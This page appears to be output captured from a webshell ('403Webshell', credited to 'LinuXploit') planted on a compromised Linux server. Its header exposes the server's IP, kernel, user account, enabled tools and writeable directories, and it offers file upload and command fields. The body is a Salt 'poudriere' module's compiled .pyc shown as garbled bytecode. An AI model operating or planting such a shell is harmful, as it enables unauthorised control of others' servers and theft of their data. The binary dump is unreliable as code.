403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/poudriere.cpython-310.pyc
o

;j��@s�dZddlZddlZddlZddlZddlZe�e�Z	dd�Z
dd�Zdd�Zd'd	d
�Z
dd�Zd
d�Zd'dd�Zdd�Zdd�Zdd�Zd(dd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd)d%d&�ZdS)*z
Support for poudriere
�NcCs"tddkrtjj�d�rdSdS)z@
    Module load on freebsd only and if poudriere installed
    �osZFreeBSDZ	poudriere)FzoThe poudriere execution module failed to load: only available on FreeBSD with the poudriere binary in the path.)Z
__grains__�salt�utils�path�which�rr�J/opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/poudriere.py�__virtual__sr	cC�tdd�S)z0
    Return the config file location to use
    �
config.optionzpoudriere.config��__salt__rrrr�_config_file�rcCr
)z3
    Return the configuration directory to use
    rzpoudriere.config_dirrrrrr�_config_dir$rrcCs"|durt�}tj�|�sdSdS)z+
    Verify the config file is present
    NFT)rrr�isfile)�config_filerrr�_check_config_exists+s
rcCs*t�}|D]
}|��d|krdSqdS)z�
    Return True if jail exists False if not

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.is_jail <jail name>
    rTF)�
list_jails�split)�nameZjails�jailrrr�is_jail6s
�rcCs�dii}t�}tj�|�s%t�|�tj�|�r d|��|d<nd|��Stdtj�||��d�d�tj�tj�||�d�rRd�tj�||�d���|d<|Sd�tj�||d��S)	z�
    Make jail ``jname`` pkgng aware

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.make_pkgng_aware <jail name>
    Zchangesz Created poudriere make file dir z,Could not create or find required directory z
file.write�
-make.confzWITH_PKGNG=yesz
Created {}z'Looks like file {} could not be created)	rrr�isdir�makedirsr
�joinr�format)Zjname�ret�cdirrrr�make_pkgng_awareGs


�r cCs�|durt�}i}t|�r<tjj�|��}|D]}tjj�|��d�\}}|||<qWd�|S1s5wY|Sd|�d�S)z�
    Returns a dict of poudriere main configuration definitions

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.parse_config
    N�=zCould not find z on file system)	rrrr�filesZfopenZstringutilsZ
to_unicoder)rrZifile�line�key�valrrr�parse_configgs

�
��r&cCsd}td|�S)zr
    Return poudriere version

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.version
    zpoudriere version�cmd.runr)�cmdrrr�version~s
r)cCst�d}td|�}|��S)z�
    Return a list of current jails managed by poudriere

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.list_jails
    zpoudriere jails -lr'�rr
�
splitlines�r(�resrrrr�s
rcCst�d}td|���}|S)z�
    Return a list of current port trees managed by poudriere

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.list_ports
    zpoudriere ports -lr'r*r,rrr�
list_ports�s
r.�9.0-RELEASEcCs^t�t|�r|�d�Sd|�d|�d|��}td|�t|�t|�r*d|��Sd|��S)z�
    Creates a new poudriere jail if one does not exist

    *NOTE* creating a new jail will take some time the master is not hanging

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.create_jail 90amd64 amd64
    z already existszpoudriere jails -c -j z -v z -a r'z
Created jail zIssue creating jail )rrr
r )r�archr)r(rrr�create_jail�s



r1cCs,t|�rd|��}td|�}|Sd|��S)z�
    Run freebsd-update on `name` poudriere jail

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.update_jail freebsd:10:x86:64
    zpoudriere jail -u -j r'�Could not find jail )rr
�rr(rrrr�update_jail�s



r4cCs�t|�rd|��}td|�t|�rd|��Snd|�d�Stj�t�|�d��}tj�|�rLzt�|�WntyEd�	|�YSwtd|�d	|��S)
z�
    Deletes poudriere jail with `name`

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.delete_jail 90amd64
    zpoudriere jail -d -j r'z,Looks like there was an issue deleting jail zLooks like jail z has not been createdrz9Deleted jail "{}" but was unable to remove jail make filezfile.removez
Deleted jail )
rr
rrrrr�remove�OSErrorr)rr(Z	make_filerrr�delete_jail�s$


���
r7cCs0t|�rd|��}td|���}|Sd|��S)z�
    Show information on `name` poudriere jail

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.info_jail head-amd64
    zpoudriere jail -i -j r'r2)rr
r+r3rrr�	info_jails



r8cCst�d}td|�}|S)z;
    Not working need to run portfetch non interactive
    zpoudriere ports -cr'�rr
)r(rrrr�create_ports_treesr:cCs*t�|rd|��}nd}td|�}|S)z�
    Updates the ports tree, either the default or the `ports_tree` specified

    CLI Example:

    .. code-block:: bash

        salt '*' poudriere.update_ports_tree staging
    zpoudriere ports -u -p zpoudriere ports -ur'r9)Z
ports_treer(rrrr�update_ports_trees
r;FcCs�tj�|�sd|�d�St|�sd|��S|r d|�d|��}nd|�d|��}td|�}|��}|D]
}d|vr>|Sq4d	�|�S)
z�
    Run bulk build on poudriere server.

    Return number of pkg builds, failures, and errors, on error dump to CLI

    CLI Example:

    .. code-block:: bash

        salt -N buildbox_group poudriere.bulk_build 90amd64 /root/pkg_list

    zCould not find file z on filesystemr2zpoudriere bulk -k -f z -j zpoudriere bulk -f r'zpackages builtzAThere may have been an issue building packages dumping output: {})rrrrr
r+r)rZpkg_fileZkeepr(r-�linesr#rrr�
bulk_build0s 
��r=)N)r/)F)�__doc__�loggingrZsalt.utils.filesrZsalt.utils.pathZsalt.utils.stringutils�	getLogger�__name__�logr	rrrrr r&r)rr.r1r4r7r8r:r;r=rrrr�<module>s0


 
 #


Youez - 2016 - github.com/yon3zu
LinuXploit